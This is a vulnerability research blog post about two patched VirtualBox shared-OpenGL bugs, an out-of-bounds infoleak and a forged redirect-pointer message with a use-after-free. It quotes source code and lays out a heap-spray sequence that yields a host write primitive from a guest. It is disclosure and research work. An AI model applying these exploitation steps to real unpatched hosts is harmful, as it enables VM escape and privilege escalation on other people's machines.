The 3-d acceleration feature of VirtualBox has had a bit of a rough time this year. One could argue that technically this component might not be considered attack surface in VirtualBox, due to the big warning put out in the documentation recommending against its use (emphasis mine):

Untrusted guest systems should not be allowed to use VirtualBox’s 3D acceleration features, just as untrusted host software should not be allowed to use 3D acceleration. Drivers for 3D hardware are generally too complex to be made properly secure and any software which is allowed to access them may be able to compromise the operating system running them. In addition, enabling 3D acceleration gives the guest direct access to a large body of additional program code in the VirtualBox host process which it might conceivably be able to use to crash the virtual machine.

This is only half the truth though: By design, VirtualBox virtual machine host processes have access to the VBoxDrv kernel driver. Thus, compromising such a process, even though it runs with the privileges of the user that started up the VM, can be used for a local privilege escalation, as already laid out in detail by Jann Horn, James Forshaw and my Insomni’hack 2018 talk (slides 9-22, video).

In this blog post I will describe CVE-2018-3055 & CVE-2018-3085 (ZDI-18-684 & ZDI-18-685), an infoleak and an interesting design issue, which can be combined to fully compromise VirtualBox from a guest with 3D acceleration enabled. Both bugs were fixed in the July 2018 CPU (VirtualBox version 5.2.16).

Overview

The 3D acceleration feature is referred to as shared OpenGL in the codebase, and is based on the Chromium library for distributed OpenGL rendering, not to be confused with the web browser of the same name, which it predates by 7 years! Chromium defines a network protocol to describe OpenGL operations, which it can pass on to an actual OpenGL implementation.

VirtualBox is maintaining a branch of Chromium and tunnels the protocol over HGCM, the host-guest communication manager. HGCM is essentially a very simple guest <-> host RPC protocol. Once connected to an HGCM service, a guest can make simple remote calls with integer and buffer arguments, and they are handled on the host side. A status code is returned, and arguments might potentially be changed by the callee in order to pass back data to the guest. More information on HGCM and an overview over the VirtualBox Chromium integration can be found in Francisco Falcon’s REcon 2014 talk.

It is important to note that the HGCM interface is exposed to unprivileged processes via the guest additions driver. If the guest additions are not installed, then root privileges are necessary to install the guest driver and expose the device, in order to attack shared OpenGL.

Chromium message basics

There are different types of Chromium messages, represented by the CRMessage union type.

typedef struct {
    CRMessageType          type;
    unsigned int           conn_id;
} CRMessageHeader;

typedef struct CRMessageOpcodes {
    CRMessageHeader        header;
    unsigned int           numOpcodes;
} CRMessageOpcodes;

typedef struct CRMessageRedirPtr {
    CRMessageHeader        header;
    CRMessageHeader*       pMessage;
#ifdef VBOX_WITH_CRHGSMI
    CRVBOXHGSMI_CMDDATA   CmdData;
#endif
} CRMessageRedirPtr;

typedef union {
    CRMessageHeader      header;
    CRMessageOpcodes     opcodes;
    CRMessageRedirPtr    redirptr;
    ...
} CRMessage;

The type is stored in the header.type field. We are primarily interested in CR_MESSAGE_OPCODES and CR_MESSAGE_REDIR_PTR messages. CR_MESSAGE_OPCODES messages contains the number of opcodes as a prefix, and then a byte array describing the actual Chromium opcodes, which are encoded in a special way. For example, a simple message could look like this:

uint32_t message[] = {
    CR_MESSAGE_OPCODES,                    // msg.header.type
    0x41414141,                            // msg.header.conn_id
    1,                                     // msg.numOpcodes
    CR_EXTEND_OPCODE << 24                 // 8-bit opcode indicating an extended opcode follows
    0x42424242,                            // <padding, for whatever reason>
    CR_WRITEBACK_EXTEND_OPCODE             // 32-bit extended opcode
    0x43434343,                            // some extra payload data for this opcode
    0x44444444,
};

Each opcode has an associated unpacker and dispatcher, prefixed by crUnpack and crServerDispatch, respectively. The unpacker for this particular opcode looks as follows:

/* in cr_unpack.h */
extern CRNetworkPointer * writeback_ptr;
// ...
#define SET_WRITEBACK_PTR( offset ) do { \
        CRDBGPTR_CHECKZ(writeback_ptr); \
        crMemcpy( writeback_ptr, cr_unpackData + (offset), sizeof( *writeback_ptr ) ); \
    } while (0);


/* in unpack_writeback.c */
void crUnpackExtendWriteback(void)
{
	/* This copies the unpack buffer's CRNetworkPointer to writeback_ptr */
	SET_WRITEBACK_PTR( 8 );
	cr_unpackDispatch.Writeback( NULL );
}

This tells Chromium to write back data at offset 8 of the message payload to a response buffer, which in the example above is the string "ccccdddd". I am not sure why this is necessary for legitimate uses of this feature, but it gives us an “echo” primitive to write back data that we control, which will certainly be useful for exploitation.

Infoleak via out-of-bounds WRITEBACK_PTR (CVE-2018-3055)

There are several places inside the Chromium message parser where SET_RETURN_PTR and SET_WRITEBACK_PTR are called with user-controlled offsets. One such example is crUnpackExtendAreProgramsResidentNV in src/VBox/HostServices/SharedOpenGL/unpacker/unpack_program.c:

void crUnpackExtendAreProgramsResidentNV(void)
{
	GLsizei n = READ_DATA(8, GLsizei);
	const GLuint *programs = DATA_POINTER(12, const GLuint);
	SET_RETURN_PTR(12 + n * sizeof(GLuint));
	SET_WRITEBACK_PTR(20 + n * sizeof(GLuint));
	(void) cr_unpackDispatch.AreProgramsResidentNV(n, programs, NULL);
}

We receive the data at return_ptr and writeback_ptr in the response to our Chromium message, and we fully control n. This means we can leak data at arbitrary offsets from the message buffer, without bounds checking. The only restrictions is that n has to be non-negative, otherwise we run into other integer overflow issues and crashes inside the actual dispatcher. Since we control the allocation size of our message, and the leaked offset via the value n, this is a perfect primitive to disclose pointers and data stored on the heap.

Absolute arbitrary write via CR_MESSAGE_REDIR_PTR (CVE-2018-3085)

Chromium messages end up being handled by the function crServerDispatchMessage in src/VBox/HostServices/SharedOpenGL/crserverlib/server_stream.c:

static void
crServerDispatchMessage(CRConnection *conn, CRMessage *msg, int cbMsg)
{
    // ...
    if (msg->header.type == CR_MESSAGE_REDIR_PTR)
    {
#ifdef VBOX_WITH_CRHGSMI    // this is defined in prod builds
        pCmdData = &msg->redirptr.CmdData;
#endif
        msg = (CRMessage *) msg->redirptr.pMessage;
    }

    CRASSERT(msg->header.type == CR_MESSAGE_OPCODES);

    msg_opcodes = (const CRMessageOpcodes *) msg;
    opcodeBytes = (msg_opcodes->numOpcodes + 3) & ~0x03;

    // handle opcodes here...

#ifdef VBOX_WITH_CRHGSMI
    if (pCmdData)
    {
        int rc = VINF_SUCCESS;
        CRVBOXHGSMI_CMDDATA_ASSERT_CONSISTENT(pCmdData);
        if (CRVBOXHGSMI_CMDDATA_IS_SETWB(pCmdData))
        {
            uint32_t cbWriteback = pCmdData->cbWriteback;
            rc = crVBoxServerInternalClientRead(conn->pClient, (uint8_t*)pCmdData->pWriteback, &cbWriteback);
            Assert(rc == VINF_SUCCESS || rc == VERR_BUFFER_OVERFLOW);
            *pCmdData->pcbWriteback = cbWriteback;
        }
        VBOXCRHGSMI_CMD_CHECK_COMPLETE(pCmdData, rc);
    }
#endif
}

It is pretty obvious that this breaks in all sorts of ways if msg is completely controlled by the guest. In particular, the guest could set the message type to CR_MESSAGE_REDIR_PTR and set msg->redirptr to point it to a forged CR_MESSAGE_OPCODES message. If the forged message produces a response, it will be written to pCmdData->pWriteback, which is also attacker-controlled because it is fetched from msg->redirptr. We already know that we can use a CR_WRITEBACK_EXTEND_OPCODE message to control 8 bytes of the response. The question remains if we can inject a CR_MESSAGE_REDIR_PTR message.

If the Chromium subsystem is accessed via HGCM, the function _crVBoxHGCMReceiveMessage in src/VBox/GuestHost/OpenGL/util/vboxhgcm.c is responsible for reading a message from a buffer and putting it into the Chromium processing queue:

static void _crVBoxHGCMReceiveMessage(CRConnection *conn)
{
    // ...
    if (conn->allow_redir_ptr)
    {
        // ...

        // [[ 1 ]]
        hgcm_buffer = (CRVBOXHGCMBUFFER *) _crVBoxHGCMAlloc( conn ) - 1;
        hgcm_buffer->len = sizeof(CRMessageRedirPtr);

        msg = (CRMessage *) (hgcm_buffer + 1);

        msg->header.type = CR_MESSAGE_REDIR_PTR;
        msg->redirptr.pMessage = (CRMessageHeader*) (conn->pBuffer);
        msg->header.conn_id = msg->redirptr.pMessage->conn_id;
        // ...
        cached_type = msg->redirptr.pMessage->type;
        // ...
    }
    else
    {
        /* we should NEVER have redir_ptr disabled with HGSMI command now */
        CRASSERT(!conn->CmdData.pvCmd);
        if ( len <= conn->buffer_size )
        {
            // [[ 2 ]]
            /* put in pre-allocated buffer */
            hgcm_buffer = (CRVBOXHGCMBUFFER *) _crVBoxHGCMAlloc( conn ) - 1;
        }
        else
        {
            // [[ 3 ]]
            /* allocate new buffer,
             * not using pool here as it's most likely one time transfer of huge texture
             */
            hgcm_buffer            = (CRVBOXHGCMBUFFER *) crAlloc( sizeof(CRVBOXHGCMBUFFER) + len );
            hgcm_buffer->magic     = CR_VBOXHGCM_BUFFER_MAGIC;
            hgcm_buffer->kind      = CR_VBOXHGCM_MEMORY_BIG;
            hgcm_buffer->allocated = sizeof(CRVBOXHGCMBUFFER) + len;
        }

        hgcm_buffer->len = len;
        _crVBoxHGCMReadBytes(conn, hgcm_buffer + 1, len);

        msg = (CRMessage *) (hgcm_buffer + 1);
        cached_type = msg->header.type;
    }
    // ...

    // [[ 4 ]]
    crNetDispatchMessage( g_crvboxhgcm.recv_list, conn, msg, len );

    // [[ 5 ]]
    /* CR_MESSAGE_OPCODES is freed in crserverlib/server_stream.c with crNetFree.
     * OOB messages are the programmer's problem.  -- Humper 12/17/01
     */
    if (cached_type != CR_MESSAGE_OPCODES
        && cached_type != CR_MESSAGE_OOB
        && cached_type != CR_MESSAGE_GATHER)
    {
        _crVBoxHGCMFree(conn, msg);
    }
}

We can see that there are two distinct cases: If conn->allow_redir_ptr is true, then a CR_MESSAGE_REDIR_PTR message gets allocated and pointed to the guest-provided message. However, if this is not the case, the guest message is put in the message queue directly.

Note also that cached_type is guest-controlled: It is the type of the message originally sent. And for some reason this field value is used to decide if the message should be freed at location [[ 5 ]], even though it was just put into a processing queue at location [[ 4 ]]. This can never be a valid thing to do at this point, since the message will later be dequeued and processed.

So there are essentially at least two seperate issues here: the fact that the guest-controlled message is queued directly, and the fact that it is freed in certain cases, before being processed (use-after-free).

Triggering the bug

I am rather confident that if allow_redir_ptr would always be true, the use-after-free by itself would not be exploitable due to the way _crVBoxHGCMAlloc works. So what does this flag mean? A comment in cr_net.h gives a clue:

/* Used on host side to indicate that we are not allowed to store above pointers for later use
 * in crVBoxHGCMReceiveMessage. As those messages are going to be processed after the corresponding
 * HGCM call is finished and memory is freed. So we have to store a copy.
 * This happens when message processing for client associated with this connection
 * is blocked by another client, which has send us glBegin call and we're waiting to receive glEnd.
 */
uint8_t  allow_redir_ptr;

Since Chromium has to be able to handle multiple connections at once, i.e. multiple HGCM connections in the case of VirtualBox, it needs to multiplex all the incoming OpenGL commands from different clients. If one client sends a glBegin, it cannot process commands from other clients until the corresponding glEnd. And while that is the case, allow_redir_ptr is false for other clients. The corresponding logic can be found in the function crVBoxServerInternalClientWriteRead in src/VBox/HostServices/SharedOpenGL/crserverlib/server_main.c:

    if (
#ifdef VBOX_WITH_CRHGSMI
         !CRVBOXHGSMI_CMDDATA_IS_SET(&pClient->conn->CmdData) &&
#endif
         cr_server.run_queue->client != pClient
         && crServerClientInBeginEnd(cr_server.run_queue->client))
    {
        crDebug("crServer: client %d blocked, allow_redir_ptr = 0", pClient->conn->u32ClientID);
        pClient->conn->allow_redir_ptr = 0;
    }
    else
    {
        pClient->conn->allow_redir_ptr = 1;
    }

So to trigger the allow_redir_ptr == 0 branch, we can just issue a glBegin in one client and then send a forged message in another client and it will be put into the queue without inspection. After we send glEnd, it will get processed. So this is the first plan of attack:

  1. Issue glBegin in client A.
  2. Send a forged CR_MESSAGE_REDIR_PTR in client B.
  3. Issue glEnd in client A.
  4. Boom?

Unfortunately we have to do a bit more work because this won’t do it by itself: The message we sent in step 2 will be freed before it is processed due to the untimely free at [[ 5 ]]. If we chose to allocate the message in step 2 via path [[ 2 ]], then the message from step 3 will overwrite it and will get processed twice. If we chose to allocate it via path [[ 3 ]], then (at least on Linux and Windows) after the free it contains some heap metadata and is no longer a valid message.

So what we can do instead is:

  1. Issue glBegin in client A.
  2. Send a large, forged CR_MESSAGE_REDIR_PTR in client B which will trigger path [[ 3 ]] (OS-provided malloc).
  3. Spray some buffers via HGCM calls that have the same size and content, hoping they will occupy the freed message buffer.
  4. Issue glEnd in client A.

This works on Linux hosts at least. The idea is that the message from step 3 will reuse the space of the message from step 2 before it gets processed. The end result is exactly what we want: We control the message passed to crServerDispatchMessage completely, and achieve a write-what-where primitive.

Together with the infoleak described above, this can be turned into a more flexible and repeatable write primitive, and eventually an arbitrary read/write primitive.

References